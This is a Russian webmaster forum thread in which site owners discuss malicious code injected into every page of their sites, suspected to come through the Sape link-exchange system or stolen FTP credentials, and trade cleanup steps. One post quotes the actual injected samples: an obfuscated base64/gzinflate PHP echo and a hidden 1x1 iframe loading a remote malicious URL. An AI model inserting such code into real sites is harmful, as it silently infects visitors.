Вирусный код в html-коде всех страниц. Не от САПЫ ли? вред: CG-GOOGLE-ANALYTICS.ru

[Kruzenshtern]

Пока никак не победили, в очередной раз меняю аккаунт по фтп, полностью сливаю сайт оффлайн, прогоняю поиск по всем (более 2000) страницам ищу где вирус прописался, заливаю обратно... Работа кипит, блин... Причины заражения найти не могу.

[dollhouse]

Kruzenshtern,
А участвует ли в топсапе, или может CS Sape Master стоит?
Я вот сейчас на ручную перешел, посмотрю, если поможет... значит ломают через вышеперечисленное, акк. может увели. Фиг его знает, что уже думать...

[Kruzenshtern]

Нет, в этом не учавствую.

[Vadimka92]

Сообщение от Vadimka92

Блин, жесть, и я столкнулся со схожей фигнёй
на каждой странице сайта теперь висит этот код:

ну ппц... за несколько дней до закрытия поиска для сайта на Яше в корне сайта появились два архива (типа 36n646wk.zip)
в файле .htaccess стало так:

Такая же фигня на двух сайтах (другие пока не тронуты), причём самое интересное, что на первом сайте, когда я возился в корне, заметил два подозрительных архива (см.выше) и тут же удалил их, поэтому на сайте и не развился вредоносный код на каждой странице. А вот на втором сайте я не додумался посмотреть наличие этих архивов. Поэтому через несколько дней и разлетелся код на каждую страничку и Яша закрыл доступ ((((
Да, кстати, домен rdskos.com был зареген 10-oct-2011, как раз тогда, когда у меня появились эти два подозрительных архива в корне сайта...

Вообщем замахался я очищать от кода странички, просто уже ппц...
Так вроде ничего не забыл, пароли на фтп и сапу поменял, два архива из корня удалил, htaccess почистил...
Посмотрим, что будет завтра... Пока как и у всех, источник проблемы не найден!

[slovoblud]

Сообщение от Kruzenshtern

Тоталом, но пароли не запоминаю, каждый раз руками вбиваю (про дырявость фтпклиентов я в курсе)

Историю надо чистить.

[Kruzenshtern]

Сообщение от slovoblud

Историю надо чистить.

Поясни пожалуйста

[Vebmaster]

Вчера 2 часа чистил. В php вот такой код
#a8998e#
echo(gzinflate(base64_decode("Jcw5DoAgEEDRq0xn56iV MeJdENEZFyADcTu9Rpv/ut/yKHqz8LX3MlhRBZDliZIq4eAh0Ws04teV3aSchyhGZZRSaBBP0 Ve8c+M31EWFs+Ow3Hav80Ah66DF/989")));
#/a8998e#

А в html <iframe frameborder=0 height=1 width=1 scrolling=no src='http://xraysz.com/a02/jnipkzev8.php'> </iframe>
Еще удалил 2 архива левых каких-то. В .htaccess ничего не было. Везде где вирь сидел, эти файлы были изменены 11.10.2011. По дате их и нашел.

Поменял пароль на фтп, теперь новые ссылки в error выпадают, ну да пофиг зато виря вроде пока нет.
На фтп несколько сайтов.

[dollhouse]

Перешел на ручную установку... и все нормально после смены фтп, раньше и это не помогало.
Теперь ерроры, ручная установка, и видимо цены надо в 3 раза поднимать, иначе запаришься все это дело расставлять.
Непонятно как все это происходит, я думал может слухи ходили в топсапе там все ломанули, но народ менял и пароль аккаунта, значит не оно...

[Konstantin_K]

таже фигня, на статическом сайте с установкой ссылок по фтп добавился такой-же вредоносный код!!!

[dollhouse]

Ребята, день прошел нормально. Ручная установка...
Значит дело не в ПК, не в хостере... (3 раза менял фтп, вводил в аккаунте, тут же все iframe появлялись)...
Konstantin_K
Смените фтп, потом почистите в аккаунт не вводите, проверьте сработает у ли у вас?